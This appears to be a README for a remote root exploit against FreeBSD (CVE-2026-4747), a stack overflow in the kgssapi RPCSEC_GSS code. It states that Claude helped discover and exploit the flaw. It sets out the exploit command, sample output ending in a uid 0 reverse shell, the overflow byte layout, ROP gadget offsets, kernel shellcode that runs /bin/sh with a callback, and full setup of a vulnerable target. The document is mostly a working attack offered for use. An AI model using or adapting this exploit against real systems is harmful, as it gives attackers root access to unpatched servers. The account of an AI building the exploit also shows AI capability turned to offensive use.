
Remote kernel exploit for FreeBSD CVE-2026-4747, leveraging a stack buffer overflow in kgssapi.ko to achieve RCE with a reverse shell. Includes multi-round ROP delivery and detailed setup instructions.
First remote kernel exploit both discovered and exploited by an AI
| Aspect | Detail |
|---|---|
| CVE | CVE-2026-4747 |
| Vulnerability | Stack buffer overflow in kgssapi.ko (RPCSEC_GSS) |
| Impact | Remote Kernel Code Execution → uid 0 reverse shell |
| Affected | FreeBSD 13.5, 14.3, 14.4, 15.0 (unpatched versions) |
| Discovered by | Nicholas Carlini using Claude (Anthropic) |
| Advisory Date | 2026-03-26 |
| Exploitation Time | ~8 hours (4 hours of actual Claude work) |
python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
Output:
==============================================================
CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================
Target: 127.0.0.1:2049
Callback: 10.0.2.2:4444
SPN: nfs/[email protected]
Shellcode: 432 bytes (54 qwords)
Delivery: 15 rounds (1 pmap + 14 write)
[R1/15] pmap_change_prot(BSS, 0x2000, RWX) ✓
[R2/15] write (4 qwords → 0xffffffff8198a800) ✓
[R3/15] write (4 qwords → 0xffffffff8198a820) ✓
...
[R15/15] write + EXECUTE (2 qwords) → JUMP 0xffffffff8198a800 ✓
[*] Shellcode delivered and executing
[*] kproc_create → kern_execve('/bin/sh -c ...')
[*] Reverse shell → 10.0.2.2:4444
[+] Connection from 127.0.0.1:41320
[+] Got shell!
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
Claude solved 6 distinct technical problems to go from an advisory to a working reverse shell:
pmap_change_prot() → make BSS executablekthread_exit() to terminate cleanly (no kernel panic)kproc_create() → new process with user-mode infrastructurekern_execve("/bin/sh") → loads ELF, sets up trapframe, clears P_KPROC flag/bin/sh runs in ring 3 as uid 0trap 1 (debug exception) on a valid instructionkproc_create() inherits debug registers from parentkproc_create()Credential body byte → Stack target
[0..35] → GSS header (version, proc, seq, svc, handle)
[36..151] → Padding (rpchdr remainder + local vars)
[152..199] → Saved registers (RBX, R12, R13, R14, R15, RBP)
[200..207] → RETURN ADDRESS ← First ROP gadget
[208..399] → ROP chain (192 bytes = 24 qwords)
| Gadget | Address | Purpose |
|---|---|---|
pop rdi; ret | K+0x1adcda | Arg 1 (rdi) |
pop rsi; ret | K+0x1cdf98 | Arg 2 (rsi) |
pop rdx; ret | K+0x5fa429 | Arg 3 (rdx) |
pop rax; ret | K+0x400cb4 | Value to write |
mov [rdi], rax; ret | 0xffffffff80e3457c | Arbitrary 8-byte write |
Where K = 0xffffffff80200000 (kernel base, no KASLR on FreeBSD 14.x)
Phase 1 - Entry (Hijacked NFS thread):
mov rax, 0xffffffff8198bf00 ; Pivot stack to BSS
mov rsp, rax
xor eax, eax
mov dr7, rax ; Clear hardware breakpoints
call rbx ; kproc_create (preloaded in RBX)
mov rax, kthread_exit
call rax ; Exit thread cleanly
Phase 2 - Worker (New kernel process):
; Set up arguments for kern_execve
lea rdi, [rbp - 0x80] ; &image_args
mov rsi, "/bin/sh"
mov edx, 1 ; UIO_SYSSPACE
call exec_args_add_fname
; Add "-c" and reverse shell command
; ...
; Execute /bin/sh
mov rdi, gs:[0] ; curthread
mov rax, [rdi + 0x08] ; proc
call kern_execve
; Clear P_KPROC flag
and byte [rax + 0xb8], 0xfb ; Allow transition to userland
ret ; → fork_exit → userret → iretq → ring 3
# Download image
wget https://download.freebsd.org/releases/VM-IMAGES/14.4-RELEASE/amd64/Latest/\
FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
xz -d FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
qemu-img resize FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2 8G
# Cloud-init config
cat > user-data << 'EOF'
#cloud-config
chpasswd:
list: |
root:freebsd
expire: False
runcmd:
- kldload kgssapi
- sysrc rpcbind_enable=YES nfs_server_enable=YES
- service rpcbind start && service nfsd start
EOF
# Boot with port forwarding
qemu-system-x86_64 -enable-kvm -m 2G -smp 2 \
-drive file=freebsd-vuln.qcow2,format=qcow2,if=virtio \
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
-device virtio-net-pci,netdev=net0 -nographic
Requirements:
VM Setup:
# 1. Install Kerberos
pkg install -y krb5
# 2. Create KDC
cat > /etc/krb5.conf << 'EOF'
[libdefaults]
default_realm = TEST.LOCAL
[realms]
TEST.LOCAL = {
kdc = 127.0.0.1
admin_server = 127.0.0.1
}
EOF
# 3. Initialize KDC database
/usr/local/sbin/kdb5_util create -s -P masterkey -r TEST.LOCAL
# 4. Create principals (replace "test" with your hostname)
/usr/local/sbin/kadmin.local -q "addprinc -pw password [email protected]"
/usr/local/sbin/kadmin.local -q "addprinc -randkey nfs/[email protected]"
/usr/local/sbin/kadmin.local -q "ktadd -k /etc/krb5.keytab nfs/[email protected]"
# 5. Start KDC
/usr/local/sbin/krb5kdc
# 6. Configure NFS
mkdir -p /export
echo '/export -network 0.0.0.0/0' > /etc/exports
# 7. Enable services
sysrc rpcbind_enable=YES nfs_server_enable=YES gssd_enable=YES
service rpcbind start && service nfsd start
# 8. Verify
sysctl vfs.nfsd.threads # Should show 16 (with 2 CPUs)
sockstat -l | grep 2049 # Should show tcp4/tcp6
# 1. Install packages
sudo apt install krb5-user libkrb5-dev python3-gssapi
pip install gssapi